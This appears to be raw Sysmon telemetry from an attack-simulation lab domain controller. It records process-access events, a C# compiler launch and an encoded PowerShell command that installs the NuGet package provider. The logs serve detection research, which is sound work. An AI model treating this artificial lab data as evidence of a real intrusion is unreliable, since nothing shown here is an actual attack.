@"C:\Users\Administrator\AppData\Local\Temp\lk5ijirf\lk5ijirf.cmdline" 10341000x80000000000000003435Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2906-5F80-AE00-000000007F01}648C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003434Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003433Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003432Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003431Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003430Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003429Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003428Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003427Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003426Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003425Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2906-5F80-AE00-000000007F01}648C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003424Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-2906-5F80-AD00-000000007F01}49001592C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2906-5F80-AE00-000000007F01}648C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c242b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c18d9|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+6aa0(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+6aa0(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b0c6deac|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b0c49c85|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b0c49956|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b16fafbb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b0c0a4ec|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b0c689bb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b0c4c020|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b0c4c020|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b0c4c020|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b0c4c020 154100x80000000000000003423Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.709{A5F018FF-2906-5F80-AE00-000000007F01}648C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\lk5ijirf\lk5ijirf.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG4AcwB0AGEAbABsAC0AUABhAGMAawBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAtAE4AYQBtAGUAIABOAHUARwBlAHQAIAAtAE0AaQBuAGkAbQB1AG0AVgBlAHIAcwBpAG8AbgAgADIALgA4AC4ANQAuADIAMAAxACAALQBGAG8AcgBjAGUA 11241100x80000000000000003422Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.693{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\lk5ijirf\lk5ijirf.cmdline2020-10-09 09:10:30.693 11241100x80000000000000003421Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:30.693{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\lk5ijirf\lk5ijirf.dll2020-10-09 09:10:30.693 22542200x80000000000000003420Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.086{A5F018FF-2903-5F80-A200-000000007F01}5004onegetcdn.azureedge.net0type: 5 onegetcdn.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10341000x80000000000000003419Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.099{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003418Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.099{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003417Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.053{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_fhmfaa1x.vo1.ps12020-10-09 09:10:30.053 10341000x80000000000000003416Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.053{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003415Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003414Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003413Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003412Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003411Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003410Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 